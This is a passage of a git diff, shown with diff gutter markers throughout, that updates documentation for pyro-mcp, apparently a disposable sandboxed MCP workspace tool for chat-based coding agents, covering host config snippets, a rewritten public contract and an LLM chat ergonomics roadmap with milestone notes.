- [opencode_mcp_config.json](../examples/opencode_mcp_config.json)
|
||||||
|
|
||||||
|
Minimal `opencode.json` snippet:
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"mcp": {
|
||||||
|
"pyro": {
|
||||||
|
"type": "local",
|
||||||
|
"enabled": true,
|
||||||
|
"command": ["uvx", "--from", "pyro-mcp", "pyro", "mcp", "serve", "--mode", "repro-fix"]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
If `pyro-mcp` is already installed, replace `uvx --from pyro-mcp pyro` with
|
||||||
|
`pyro` in the same config shape.
|
||||||
|
|
||||||
|
If OpenCode launches the server from an unexpected cwd, add
|
||||||
|
`"--project-path", "/abs/path/to/repo"` after `"serve"` in the same command
|
||||||
|
array.
|
||||||
|
|
||||||
|
## Generic MCP Fallback
|
||||||
|
|
||||||
|
Use this only when the host expects a plain `mcpServers` JSON config, when the
|
||||||
|
named modes are too narrow, and when it does not already have a dedicated
|
||||||
|
example in the repo:
|
||||||
|
|
||||||
|
- [mcp_client_config.md](../examples/mcp_client_config.md)
|
||||||
|
|
||||||
|
Generic `mcpServers` shape:
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"mcpServers": {
|
||||||
|
"pyro": {
|
||||||
|
"command": "uvx",
|
||||||
|
"args": ["--from", "pyro-mcp", "pyro", "mcp", "serve"]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## When To Use `workspace-full`
|
||||||
|
|
||||||
|
Stay on bare `pyro mcp serve` unless the chat host truly needs:
|
||||||
|
|
||||||
|
- persistent PTY shell sessions
|
||||||
|
- long-running services and readiness probes
|
||||||
|
- secrets
|
||||||
|
- guest networking and published ports
|
||||||
|
- stopped-workspace disk inspection or raw ext4 export
|
||||||
|
|
||||||
|
When that is necessary:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
pyro mcp serve --profile workspace-full
|
||||||
|
```
|
||||||
|
|
||||||
|
## Recipe-Backed Workflows
|
||||||
|
|
||||||
|
Once the host is connected, move to the five real workflows in
|
||||||
|
[use-cases/README.md](use-cases/README.md):
|
||||||
|
|
||||||
|
- cold-start repo validation
|
||||||
|
- repro plus fix loops
|
||||||
|
- parallel isolated workspaces
|
||||||
|
- unsafe or untrusted code inspection
|
||||||
|
- review and evaluation workflows
|
||||||
|
|
||||||
|
Validate the whole story with:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
make smoke-use-cases
|
||||||
|
```
|
||||||
|
|
||||||
|
For the machine-warmup plus reset/retry path specifically:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
make smoke-daily-loop
|
||||||
|
```
|
||||||
|
|
|
||||||
|
|
@ -1,105 +1,192 @@
|
||||||
# Public Contract
|
# Public Contract
|
||||||
|
|
||||||
This document defines the supported public interface for `pyro-mcp` `1.x`.
|
This document describes the chat way to use `pyro-mcp` in `4.x`.
|
||||||
|
|
||||||
|
`pyro-mcp` currently has no users. Expect breaking changes while this chat-host
|
||||||
|
path is still being shaped.
|
||||||
|
|
||||||
|
This document is intentionally biased. It describes the path users are meant to
|
||||||
|
follow today:
|
||||||
|
|
||||||
|
- prove the host with the terminal companion commands
|
||||||
|
- serve disposable workspaces over MCP
|
||||||
|
- connect Claude Code, Codex, or OpenCode
|
||||||
|
- use the recipe-backed workflows
|
||||||
|
|
||||||
|
This page does not try to document every building block in the repo. It
|
||||||
|
documents the chat-host path the project is actively shaping.
|
||||||
|
|
||||||
## Package Identity
|
## Package Identity
|
||||||
|
|
||||||
- Distribution name: `pyro-mcp`
|
- distribution name: `pyro-mcp`
|
||||||
- Public executable: `pyro`
|
- public executable: `pyro`
|
||||||
- Public Python import: `from pyro_mcp import Pyro`
|
- primary product entrypoint: `pyro mcp serve`
|
||||||
- Public package-level factory: `from pyro_mcp import create_server`
|
|
||||||
|
|
||||||
## CLI Contract
|
`pyro-mcp` is a disposable MCP workspace for chat-based coding agents on Linux
|
||||||
|
`x86_64` KVM hosts.
|
||||||
|
|
||||||
Top-level commands:
|
## Supported Product Path
|
||||||
|
|
||||||
|
The intended user journey is:
|
||||||
|
|
||||||
|
1. `pyro doctor`
|
||||||
|
2. `pyro prepare debian:12`
|
||||||
|
3. `pyro run debian:12 -- git --version`
|
||||||
|
4. `pyro mcp serve`
|
||||||
|
5. connect Claude Code, Codex, or OpenCode
|
||||||
|
6. use `workspace reset` as the normal retry step
|
||||||
|
7. run one of the documented recipe-backed workflows
|
||||||
|
8. validate the whole story with `make smoke-use-cases`
|
||||||
|
|
||||||
|
## Evaluator CLI
|
||||||
|
|
||||||
|
These terminal commands are the documented companion path for the chat-host
|
||||||
|
product:
|
||||||
|
|
||||||
|
- `pyro doctor`
|
||||||
|
- `pyro prepare`
|
||||||
- `pyro env list`
|
- `pyro env list`
|
||||||
- `pyro env pull`
|
- `pyro env pull`
|
||||||
- `pyro env inspect`
|
|
||||||
- `pyro env prune`
|
|
||||||
- `pyro mcp serve`
|
|
||||||
- `pyro run`
|
- `pyro run`
|
||||||
- `pyro doctor`
|
|
||||||
- `pyro demo`
|
- `pyro demo`
|
||||||
- `pyro demo ollama`
|
|
||||||
|
|
||||||
Stable `pyro run` interface:
|
What to expect from that path:
|
||||||
|
|
||||||
- positional environment name
|
- `pyro run <environment> -- <command>` defaults to `1 vCPU / 1024 MiB`
|
||||||
- `--vcpu-count`
|
- `pyro run` fails if guest boot or guest exec is unavailable unless
|
||||||
- `--mem-mib`
|
`--allow-host-compat` is set
|
||||||
- `--timeout-seconds`
|
- `pyro run`, `pyro env list`, `pyro env pull`, `pyro env inspect`,
|
||||||
- `--ttl-seconds`
|
`pyro env prune`, `pyro doctor`, and `pyro prepare` are human-readable by
|
||||||
- `--network`
|
default and return structured JSON with `--json`
|
||||||
|
- the first official environment pull downloads from public Docker Hub into the
|
||||||
|
local environment cache
|
||||||
|
- `pyro prepare debian:12` proves the warmed daily loop with one throwaway
|
||||||
|
workspace create, exec, reset, and delete cycle
|
||||||
|
- `pyro demo` proves the one-shot create/start/exec/delete VM lifecycle end to
|
||||||
|
end
|
||||||
|
|
||||||
Behavioral guarantees:
|
These commands exist to validate and debug the chat-host path. They are not the
|
||||||
|
main product destination.
|
||||||
|
|
||||||
- `pyro run <environment> --vcpu-count <n> --mem-mib <mib> -- <command>` returns structured JSON.
|
## MCP Entry Point
|
||||||
- `pyro env list`, `pyro env pull`, `pyro env inspect`, and `pyro env prune` return structured JSON.
|
|
||||||
- `pyro doctor` returns structured JSON diagnostics.
|
|
||||||
- `pyro demo ollama` prints log lines plus a final summary line.
|
|
||||||
|
|
||||||
## Python SDK Contract
|
The product entrypoint is:
|
||||||
|
|
||||||
Primary facade:
|
```bash
|
||||||
|
pyro mcp serve
|
||||||
|
```
|
||||||
|
|
||||||
- `Pyro`
|
What to expect:
|
||||||
|
|
||||||
Supported public entrypoints:
|
- named modes are now the first chat-host story:
|
||||||
|
- `pyro mcp serve --mode repro-fix`
|
||||||
|
- `pyro mcp serve --mode inspect`
|
||||||
|
- `pyro mcp serve --mode cold-start`
|
||||||
|
- `pyro mcp serve --mode review-eval`
|
||||||
|
- bare `pyro mcp serve` remains the generic no-mode path and starts
|
||||||
|
`workspace-core`
|
||||||
|
- from a repo root, bare `pyro mcp serve` also auto-detects the current Git
|
||||||
|
checkout so `workspace_create` can omit `seed_path`
|
||||||
|
- `pyro mcp serve --profile workspace-full` explicitly opts into the larger
|
||||||
|
tool surface
|
||||||
|
- `pyro mcp serve --profile vm-run` exposes the smallest one-shot-only surface
|
||||||
|
- `pyro mcp serve --project-path /abs/path/to/repo` is the fallback when the
|
||||||
|
host does not preserve cwd
|
||||||
|
- `pyro mcp serve --repo-url ... [--repo-ref ...]` starts from a clean clone
|
||||||
|
source instead of a local checkout
|
||||||
|
|
||||||
- `create_server()`
|
Host-specific setup docs:
|
||||||
- `Pyro.create_server()`
|
|
||||||
- `Pyro.list_environments()`
|
|
||||||
- `Pyro.pull_environment(environment)`
|
|
||||||
- `Pyro.inspect_environment(environment)`
|
|
||||||
- `Pyro.prune_environments()`
|
|
||||||
- `Pyro.create_vm(...)`
|
|
||||||
- `Pyro.start_vm(vm_id)`
|
|
||||||
- `Pyro.exec_vm(vm_id, *, command, timeout_seconds=30)`
|
|
||||||
- `Pyro.stop_vm(vm_id)`
|
|
||||||
- `Pyro.delete_vm(vm_id)`
|
|
||||||
- `Pyro.status_vm(vm_id)`
|
|
||||||
- `Pyro.network_info_vm(vm_id)`
|
|
||||||
- `Pyro.reap_expired()`
|
|
||||||
- `Pyro.run_in_vm(...)`
|
|
||||||
|
|
||||||
Stable public method names:
|
- [claude_code_mcp.md](../examples/claude_code_mcp.md)
|
||||||
|
- [codex_mcp.md](../examples/codex_mcp.md)
|
||||||
|
- [opencode_mcp_config.json](../examples/opencode_mcp_config.json)
|
||||||
|
- [mcp_client_config.md](../examples/mcp_client_config.md)
|
||||||
|
|
||||||
- `create_server()`
|
The chat-host bootstrap helper surface is:
|
||||||
- `list_environments()`
|
|
||||||
- `pull_environment(environment)`
|
|
||||||
- `inspect_environment(environment)`
|
|
||||||
- `prune_environments()`
|
|
||||||
- `create_vm(...)`
|
|
||||||
- `start_vm(vm_id)`
|
|
||||||
- `exec_vm(vm_id, *, command, timeout_seconds=30)`
|
|
||||||
- `stop_vm(vm_id)`
|
|
||||||
- `delete_vm(vm_id)`
|
|
||||||
- `status_vm(vm_id)`
|
|
||||||
- `network_info_vm(vm_id)`
|
|
||||||
- `reap_expired()`
|
|
||||||
- `run_in_vm(...)`
|
|
||||||
|
|
||||||
## MCP Contract
|
- `pyro host connect claude-code`
|
||||||
|
- `pyro host connect codex`
|
||||||
|
- `pyro host print-config opencode`
|
||||||
|
- `pyro host doctor`
|
||||||
|
- `pyro host repair HOST`
|
||||||
|
|
||||||
Primary tool:
|
These helpers wrap the same `pyro mcp serve` entrypoint and are the preferred
|
||||||
|
setup and repair path for supported hosts.
|
||||||
|
|
||||||
|
## Named Modes
|
||||||
|
|
||||||
|
The supported named modes are:
|
||||||
|
|
||||||
|
| Mode | Intended workflow | Key tools |
|
||||||
|
| --- | --- | --- |
|
||||||
|
| `repro-fix` | reproduce, patch, rerun, diff, export, reset | file ops, patch, diff, export, reset, summary |
|
||||||
|
| `inspect` | inspect suspicious or unfamiliar code with the smallest persistent surface | file list/read, exec, export, summary |
|
||||||
|
| `cold-start` | validate a fresh repo and keep services alive long enough to prove readiness | exec, export, reset, summary, service tools |
|
||||||
|
| `review-eval` | interactive review, checkpointing, shell-driven evaluation, and export | shell tools, snapshot tools, diff/export, summary |
|
||||||
|
|
||||||
|
Use the generic no-mode path when one of those named modes feels too narrow for
|
||||||
|
the job.
|
||||||
|
|
||||||
|
## Generic Workspace Contract
|
||||||
|
|
||||||
|
`workspace-core` is the normal chat path. It exposes:
|
||||||
|
|
||||||
- `vm_run`
|
- `vm_run`
|
||||||
|
- `workspace_create`
|
||||||
|
- `workspace_list`
|
||||||
|
- `workspace_update`
|
||||||
|
- `workspace_status`
|
||||||
|
- `workspace_sync_push`
|
||||||
|
- `workspace_exec`
|
||||||
|
- `workspace_logs`
|
||||||
|
- `workspace_summary`
|
||||||
|
- `workspace_file_list`
|
||||||
|
- `workspace_file_read`
|
||||||
|
- `workspace_file_write`
|
||||||
|
- `workspace_patch_apply`
|
||||||
|
- `workspace_diff`
|
||||||
|
- `workspace_export`
|
||||||
|
- `workspace_reset`
|
||||||
|
- `workspace_delete`
|
||||||
|
|
||||||
Advanced lifecycle tools:
|
That is enough for the normal persistent editing loop:
|
||||||
|
|
||||||
- `vm_list_environments`
|
- create one workspace, often without `seed_path` when the server already has a
|
||||||
- `vm_create`
|
project source
|
||||||
- `vm_start`
|
- sync or seed repo content
|
||||||
- `vm_exec`
|
- inspect and edit files without shell quoting
|
||||||
- `vm_stop`
|
- run commands repeatedly in one sandbox
|
||||||
- `vm_delete`
|
- review the current session in one concise summary
|
||||||
- `vm_status`
|
- diff and export results
|
||||||
- `vm_network_info`
|
- reset and retry
|
||||||
- `vm_reap_expired`
|
- delete the workspace when the task is done
|
||||||
|
|
||||||
## Versioning Rule
|
Move to `workspace-full` only when the chat truly needs:
|
||||||
|
|
||||||
- `pyro-mcp` uses SemVer.
|
- persistent PTY shell sessions
|
||||||
- Environment names are stable identifiers in the shipped catalog.
|
- long-running services and readiness probes
|
||||||
- Changing a public command name, public flag, public method name, public MCP tool name, or required request field is a breaking change.
|
- secrets
|
||||||
|
- guest networking and published ports
|
||||||
|
- stopped-workspace disk inspection
|
||||||
|
|
||||||
|
## Recipe-Backed Workflows
|
||||||
|
|
||||||
|
The documented product workflows are:
|
||||||
|
|
||||||
|
| Workflow | Recommended mode | Doc |
|
||||||
|
| --- | --- | --- |
|
||||||
|
| Cold-start repo validation | `cold-start` | [use-cases/cold-start-repo-validation.md](use-cases/cold-start-repo-validation.md) |
|
||||||
|
| Repro plus fix loop | `repro-fix` | [use-cases/repro-fix-loop.md](use-cases/repro-fix-loop.md) |
|
||||||
|
| Parallel isolated workspaces | `repro-fix` | [use-cases/parallel-workspaces.md](use-cases/parallel-workspaces.md) |
|
||||||
|
| Unsafe or untrusted code inspection | `inspect` | [use-cases/untrusted-inspection.md](use-cases/untrusted-inspection.md) |
|
||||||
|
| Review and evaluation workflows | `review-eval` | [use-cases/review-eval-workflows.md](use-cases/review-eval-workflows.md) |
|
||||||
|
|
||||||
|
Treat this smoke pack as the trustworthy guest-backed verification path for the
|
||||||
|
advertised product:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
make smoke-use-cases
|
||||||
|
```
|
||||||
|
|
||||||
|
The chat-host MCP path above is the thing the docs are intentionally shaping
|
||||||
|
around.
|
||||||
|
|
|
||||||
186
docs/roadmap/llm-chat-ergonomics.md
Normal file
186
docs/roadmap/llm-chat-ergonomics.md
Normal file
|
|
@ -0,0 +1,186 @@
|
||||||
|
# LLM Chat Ergonomics Roadmap
|
||||||
|
|
||||||
|
This roadmap picks up after the completed workspace GA plan and focuses on one
|
||||||
|
goal:
|
||||||
|
|
||||||
|
make the core agent-workspace use cases feel trivial from a chat-driven LLM
|
||||||
|
interface.
|
||||||
|
|
||||||
|
Current baseline is `4.5.0`:
|
||||||
|
|
||||||
|
- `pyro mcp serve` is now the default product entrypoint
|
||||||
|
- `workspace-core` is now the default MCP profile
|
||||||
|
- one-shot `pyro run` still exists as the terminal companion path
|
||||||
|
- workspaces already support seeding, sync push, exec, export, diff, snapshots,
|
||||||
|
reset, services, PTY shells, secrets, network policy, and published ports
|
||||||
|
- host-specific onramps exist for Claude Code, Codex, and OpenCode
|
||||||
|
- the five documented use cases are now recipe-backed and smoke-tested
|
||||||
|
- stopped-workspace disk tools now exist, but remain explicitly secondary
|
||||||
|
|
||||||
|
## What "Trivial In Chat" Means
|
||||||
|
|
||||||
|
The roadmap is done only when a chat-driven LLM can cover the main use cases
|
||||||
|
without awkward shell choreography or hidden host-side glue:
|
||||||
|
|
||||||
|
- cold-start repo validation
|
||||||
|
- repro plus fix loops
|
||||||
|
- parallel isolated workspaces for multiple issues or PRs
|
||||||
|
- unsafe or untrusted code inspection
|
||||||
|
- review and evaluation workflows
|
||||||
|
|
||||||
|
More concretely, the model should not need to:
|
||||||
|
|
||||||
|
- patch files through shell-escaped `printf` or heredoc tricks
|
||||||
|
- rely on opaque workspace IDs without a discovery surface
|
||||||
|
- consume raw terminal control sequences as normal shell output
|
||||||
|
- choose from an unnecessarily large tool surface when a smaller profile would
|
||||||
|
work
|
||||||
|
|
||||||
|
The next gaps for the narrowed persona are now about real-project credibility:
|
||||||
|
|
||||||
|
- current-checkout startup is still brittle for messy local repos with unreadable,
|
||||||
|
generated, or permission-sensitive files
|
||||||
|
- the guest-backed smoke pack is strong, but it still proves shaped scenarios
|
||||||
|
better than arbitrary local-repo readiness
|
||||||
|
- the chat-host path still does not let users choose the sandbox environment as
|
||||||
|
a first-class part of host connection and server startup
|
||||||
|
- the product should not claim full whole-project development readiness until it
|
||||||
|
qualifies a real-project loop beyond fixture-shaped use cases
|
||||||
|
|
||||||
|
## Locked Decisions
|
||||||
|
|
||||||
|
- keep the workspace product identity central; do not drift toward CI, queue,
|
||||||
|
or runner abstractions
|
||||||
|
- keep disk tools secondary and do not make them the main chat-facing surface
|
||||||
|
- prefer narrow tool profiles and structured outputs over more raw shell calls
|
||||||
|
- optimize the MCP/chat-host path first and keep the CLI companion path good
|
||||||
|
enough to validate and debug it
|
||||||
|
- lower-level SDK and repo substrate work can continue, but they should not
|
||||||
|
drive milestone scope or naming
|
||||||
|
- CLI-only ergonomics are allowed when the SDK and MCP surfaces already have the
|
||||||
|
structured behavior natively
|
||||||
|
- prioritize repo-aware startup, trust, and daily-loop speed before adding more
|
||||||
|
low-level workspace surface area
|
||||||
|
- for repo-root auto-detection and `--project-path` inside a Git checkout, the
|
||||||
|
default project source should become Git-tracked files only
|
||||||
|
- `--repo-url` remains the clean-clone path when users do not want to trust the
|
||||||
|
local checkout as the startup source
|
||||||
|
- environment selection must become first-class in the chat-host path before the
|
||||||
|
product claims whole-project development readiness
|
||||||
|
- real-project readiness must be proven with guest-backed qualification smokes
|
||||||
|
that cover ignored, generated, and unreadable-file cases
|
||||||
|
- breaking changes are acceptable while there are still no users and the
|
||||||
|
chat-host product is still being shaped
|
||||||
|
- every milestone below must also update docs, help text, runnable examples,
|
||||||
|
and at least one real smoke scenario
|
||||||
|
|
||||||
|
## Milestones
|
||||||
|
|
||||||
|
1. [`3.2.0` Model-Native Workspace File Ops](llm-chat-ergonomics/3.2.0-model-native-workspace-file-ops.md) - Done
|
||||||
|
2. [`3.3.0` Workspace Naming And Discovery](llm-chat-ergonomics/3.3.0-workspace-naming-and-discovery.md) - Done
|
||||||
|
3. [`3.4.0` Tool Profiles And Canonical Chat Flows](llm-chat-ergonomics/3.4.0-tool-profiles-and-canonical-chat-flows.md) - Done
|
||||||
|
4. [`3.5.0` Chat-Friendly Shell Output](llm-chat-ergonomics/3.5.0-chat-friendly-shell-output.md) - Done
|
||||||
|
5. [`3.6.0` Use-Case Recipes And Smoke Packs](llm-chat-ergonomics/3.6.0-use-case-recipes-and-smoke-packs.md) - Done
|
||||||
|
6. [`3.7.0` Handoff Shortcuts And File Input Sources](llm-chat-ergonomics/3.7.0-handoff-shortcuts-and-file-input-sources.md) - Done
|
||||||
|
7. [`3.8.0` Chat-Host Onramp And Recommended Defaults](llm-chat-ergonomics/3.8.0-chat-host-onramp-and-recommended-defaults.md) - Done
|
||||||
|
8. [`3.9.0` Content-Only Reads And Human Output Polish](llm-chat-ergonomics/3.9.0-content-only-reads-and-human-output-polish.md) - Done
|
||||||
|
9. [`3.10.0` Use-Case Smoke Trust And Recipe Fidelity](llm-chat-ergonomics/3.10.0-use-case-smoke-trust-and-recipe-fidelity.md) - Done
|
||||||
|
10. [`3.11.0` Host-Specific MCP Onramps](llm-chat-ergonomics/3.11.0-host-specific-mcp-onramps.md) - Done
|
||||||
|
11. [`4.0.0` Workspace-Core Default Profile](llm-chat-ergonomics/4.0.0-workspace-core-default-profile.md) - Done
|
||||||
|
12. [`4.1.0` Project-Aware Chat Startup](llm-chat-ergonomics/4.1.0-project-aware-chat-startup.md) - Done
|
||||||
|
13. [`4.2.0` Host Bootstrap And Repair](llm-chat-ergonomics/4.2.0-host-bootstrap-and-repair.md) - Done
|
||||||
|
14. [`4.3.0` Reviewable Agent Output](llm-chat-ergonomics/4.3.0-reviewable-agent-output.md) - Done
|
||||||
|
15. [`4.4.0` Opinionated Use-Case Modes](llm-chat-ergonomics/4.4.0-opinionated-use-case-modes.md) - Done
|
||||||
|
16. [`4.5.0` Faster Daily Loops](llm-chat-ergonomics/4.5.0-faster-daily-loops.md) - Done
|
||||||
|
17. [`4.6.0` Git-Tracked Project Sources](llm-chat-ergonomics/4.6.0-git-tracked-project-sources.md) - Planned
|
||||||
|
18. [`4.7.0` Project Source Diagnostics And Recovery](llm-chat-ergonomics/4.7.0-project-source-diagnostics-and-recovery.md) - Planned
|
||||||
|
19. [`4.8.0` First-Class Chat Environment Selection](llm-chat-ergonomics/4.8.0-first-class-chat-environment-selection.md) - Planned
|
||||||
|
20. [`4.9.0` Real-Repo Qualification Smokes](llm-chat-ergonomics/4.9.0-real-repo-qualification-smokes.md) - Planned
|
||||||
|
21. [`5.0.0` Whole-Project Sandbox Development](llm-chat-ergonomics/5.0.0-whole-project-sandbox-development.md) - Planned
|
||||||
|
|
||||||
|
Completed so far:
|
||||||
|
|
||||||
|
- `3.2.0` added model-native `workspace file *` and `workspace patch apply` so chat-driven agents
|
||||||
|
can inspect and edit `/workspace` without shell-escaped file mutation flows.
|
||||||
|
- `3.3.0` added workspace names, key/value labels, `workspace list`, `workspace update`, and
|
||||||
|
`last_activity_at` tracking so humans and chat-driven agents can rediscover and resume the right
|
||||||
|
workspace without external notes.
|
||||||
|
- `3.4.0` added stable MCP/server tool profiles with `vm-run`, `workspace-core`, and
|
||||||
|
`workspace-full`, plus canonical profile-based OpenAI and MCP examples so chat hosts can start
|
||||||
|
narrow and widen only when needed.
|
||||||
|
- `3.5.0` added chat-friendly shell reads with plain-text rendering and idle batching so PTY
|
||||||
|
sessions are readable enough to feed directly back into a chat model.
|
||||||
|
- `3.6.0` added recipe docs and real guest-backed smoke packs for the five core workspace use
|
||||||
|
cases so the stable product is now demonstrated as repeatable end-to-end stories instead of
|
||||||
|
only isolated feature surfaces.
|
||||||
|
- `3.7.0` removed the remaining shell glue from canonical CLI workspace flows with `--id-only`,
|
||||||
|
`--text-file`, and `--patch-file`, so the shortest handoff path no longer depends on `python -c`
|
||||||
|
extraction or `$(cat ...)` expansion.
|
||||||
|
- `3.8.0` made `workspace-core` the obvious first MCP/chat-host profile from the first help and
|
||||||
|
docs pass while keeping `workspace-full` as the 3.x compatibility default.
|
||||||
|
- `3.9.0` added content-only workspace file and disk reads plus cleaner default human-mode
|
||||||
|
transcript separation for files that do not end with a trailing newline.
|
||||||
|
- `3.10.0` aligned the five guest-backed use-case smokes with their recipe docs and promoted
|
||||||
|
`make smoke-use-cases` as the trustworthy verification path for the advertised workspace flows.
|
||||||
|
- `3.11.0` added exact host-specific MCP onramps for Claude Code, Codex, and OpenCode so new
|
||||||
|
chat-host users can copy one known-good setup example instead of translating the generic MCP
|
||||||
|
config manually.
|
||||||
|
- `4.0.0` flipped the default MCP/server profile to `workspace-core`, so the bare entrypoint now
|
||||||
|
matches the recommended narrow chat-host profile across CLI, SDK, and package-level factories.
|
||||||
|
- `4.1.0` made repo-root startup native for chat hosts, so bare `pyro mcp serve` can auto-detect
|
||||||
|
the current Git checkout and let the first `workspace_create` omit `seed_path`, with explicit
|
||||||
|
`--project-path` and `--repo-url` fallbacks when cwd is not the source of truth.
|
||||||
|
- `4.2.0` adds first-class host bootstrap and repair helpers so Claude Code,
|
||||||
|
Codex, and OpenCode users can connect or repair the supported chat-host path
|
||||||
|
without manually composing raw MCP commands or config edits.
|
||||||
|
- `4.3.0` adds a concise workspace review surface so users can inspect what the
|
||||||
|
agent changed and ran since the last reset without reconstructing the
|
||||||
|
session from several lower-level views by hand.
|
||||||
|
- `4.4.0` adds named use-case modes so chat hosts can start from `repro-fix`,
|
||||||
|
`inspect`, `cold-start`, or `review-eval` instead of choosing from the full
|
||||||
|
generic workspace surface first.
|
||||||
|
- `4.5.0` adds `pyro prepare`, daily-loop readiness in `pyro doctor`, and a
|
||||||
|
real `make smoke-daily-loop` verification path so the local machine warmup
|
||||||
|
story is explicit before the chat host connects.
|
||||||
|
|
||||||
|
Planned next:
|
||||||
|
|
||||||
|
- [`4.6.0` Git-Tracked Project Sources](llm-chat-ergonomics/4.6.0-git-tracked-project-sources.md)
|
||||||
|
- [`4.7.0` Project Source Diagnostics And Recovery](llm-chat-ergonomics/4.7.0-project-source-diagnostics-and-recovery.md)
|
||||||
|
- [`4.8.0` First-Class Chat Environment Selection](llm-chat-ergonomics/4.8.0-first-class-chat-environment-selection.md)
|
||||||
|
- [`4.9.0` Real-Repo Qualification Smokes](llm-chat-ergonomics/4.9.0-real-repo-qualification-smokes.md)
|
||||||
|
- [`5.0.0` Whole-Project Sandbox Development](llm-chat-ergonomics/5.0.0-whole-project-sandbox-development.md)
|
||||||
|
|
||||||
|
## Expected Outcome
|
||||||
|
|
||||||
|
After this roadmap, the product should still look like an agent workspace, not
|
||||||
|
like a CI runner with more isolation.
|
||||||
|
|
||||||
|
The intended model-facing shape is:
|
||||||
|
|
||||||
|
- one-shot work starts with `vm_run`
|
||||||
|
- persistent work moves to a small workspace-first contract
|
||||||
|
- file edits are structured and model-native
|
||||||
|
- workspace discovery is human and model-friendly
|
||||||
|
- shells are readable in chat
|
||||||
|
- CLI handoff paths do not depend on ad hoc shell parsing
|
||||||
|
- the recommended chat-host profile is obvious from the first MCP example
|
||||||
|
- the documented smoke pack is trustworthy enough to use as a release gate
|
||||||
|
- major chat hosts have copy-pasteable MCP setup examples instead of only a
|
||||||
|
generic config template
|
||||||
|
- human-mode content reads are copy-paste safe
|
||||||
|
- the default bare MCP server entrypoint matches the recommended narrow profile
|
||||||
|
- the five core use cases are documented and smoke-tested end to end
|
||||||
|
- starting from the current repo feels native from the first chat-host setup
|
||||||
|
- supported hosts can be connected or repaired without manual config spelunking
|
||||||
|
- users can review one concise summary of what the agent changed and ran
|
||||||
|
- the main workflows feel like named modes instead of one giant reference
|
||||||
|
- reset and retry loops are fast enough to encourage daily use
|
||||||
|
- repo-root startup is robust even when the local checkout contains ignored,
|
||||||
|
generated, or unreadable files
|
||||||
|
- chat-host users can choose the sandbox environment as part of the normal
|
||||||
|
connect/start path
|
||||||
|
- the product has guest-backed qualification for real local repos, not only
|
||||||
|
shaped fixture scenarios
|
||||||
|
- it becomes credible to tell a user they can develop a real project inside
|
||||||
|
sandboxes, not just evaluate or patch one
|
||||||
|
|
@ -0,0 +1,54 @@
|
||||||
|
# `3.10.0` Use-Case Smoke Trust And Recipe Fidelity
|
||||||
|
|
||||||
|
Status: Done
|
||||||
|
|
||||||
|
## Goal
|
||||||
|
|
||||||
|
Make the documented use-case pack trustworthy enough to act like a real release
|
||||||
|
gate for the advertised chat-first workflows.
|
||||||
|
|
||||||
|
## Public API Changes
|
||||||
|
|
||||||
|
No new core API is required in this milestone.
|
||||||
|
|
||||||
|
The user-visible change is reliability and alignment:
|
||||||
|
|
||||||
|
- `make smoke-use-cases` should pass cleanly on a supported host
|
||||||
|
- each smoke scenario should verify the same user-facing path the recipe docs
|
||||||
|
actually recommend
|
||||||
|
- smoke assertions should prefer structured CLI, SDK, or MCP results over
|
||||||
|
brittle checks against human-mode text formatting when both exist
|
||||||
|
|
||||||
|
## Implementation Boundaries
|
||||||
|
|
||||||
|
- fix the current repro-plus-fix drift as part of this milestone
|
||||||
|
- keep the focus on user-facing flow fidelity, not on broad internal test
|
||||||
|
harness refactors
|
||||||
|
- prefer exact recipe fidelity over inventing more synthetic smoke-only steps
|
||||||
|
- if the docs say one workflow is canonical, the smoke should exercise that same
|
||||||
|
workflow directly
|
||||||
|
|
||||||
|
## Non-Goals
|
||||||
|
|
||||||
|
- no new workspace capability just to make the smoke harness easier to write
|
||||||
|
- no conversion of the product into a CI/reporting framework
|
||||||
|
- no requirement that every README transcript becomes a literal byte-for-byte
|
||||||
|
golden test
|
||||||
|
|
||||||
|
## Acceptance Scenarios
|
||||||
|
|
||||||
|
- `make smoke-use-cases` passes end to end on a supported host
|
||||||
|
- the repro-plus-fix smoke proves the documented patch path without relying on
|
||||||
|
fragile human-output assumptions
|
||||||
|
- each use-case recipe still maps to one real guest-backed smoke target
|
||||||
|
- a maintainer can trust a red smoke result as a real user-facing regression,
|
||||||
|
not just harness drift
|
||||||
|
|
||||||
|
## Required Repo Updates
|
||||||
|
|
||||||
|
- use-case smoke scenarios audited and corrected to follow the canonical docs
|
||||||
|
- any brittle human-output assertions replaced with structured checks where
|
||||||
|
possible
|
||||||
|
- docs updated if a recipe or expected output changed during the alignment pass
|
||||||
|
- at least one release/readiness note should point to the smoke pack as a
|
||||||
|
trustworthy verification path once this lands
|
||||||
|
|
@ -0,0 +1,56 @@
|
||||||
|
# `3.11.0` Host-Specific MCP Onramps
|
||||||
|
|
||||||
|
Status: Done
|
||||||
|
|
||||||
|
## Goal
|
||||||
|
|
||||||
|
Remove the last translation step for major chat hosts by shipping exact,
|
||||||
|
copy-pasteable MCP setup guidance for the hosts users actually reach for.
|
||||||
|
|
||||||
|
## Public API Changes
|
||||||
|
|
||||||
|
No core runtime or workspace API change is required in this milestone.
|
||||||
|
|
||||||
|
The main user-visible additions are host-specific integration assets and docs:
|
||||||
|
|
||||||
|
- Claude setup should have a first-class maintained example
|
||||||
|
- Codex should have a first-class maintained example
|
||||||
|
- OpenCode should have a first-class maintained example
|
||||||
|
- the integrations docs should show the shortest working path for each host and
|
||||||
|
the same recommended `workspace-core` profile
|
||||||
|
|
||||||
|
## Implementation Boundaries
|
||||||
|
|
||||||
|
- keep the underlying server command the same:
|
||||||
|
`pyro mcp serve --profile workspace-core`
|
||||||
|
- treat host-specific configs as thin wrappers around the same MCP server
|
||||||
|
- cover both package-without-install and already-installed variants where that
|
||||||
|
materially improves copy-paste adoption
|
||||||
|
- keep generic MCP config guidance, but stop forcing users of major hosts to
|
||||||
|
translate it themselves
|
||||||
|
|
||||||
|
## Non-Goals
|
||||||
|
|
||||||
|
- no client-specific runtime behavior hidden behind host detection
|
||||||
|
- no broad matrix of every MCP-capable editor or agent host
|
||||||
|
- no divergence in terminology between host examples and the public contract
|
||||||
|
|
||||||
|
## Acceptance Scenarios
|
||||||
|
|
||||||
|
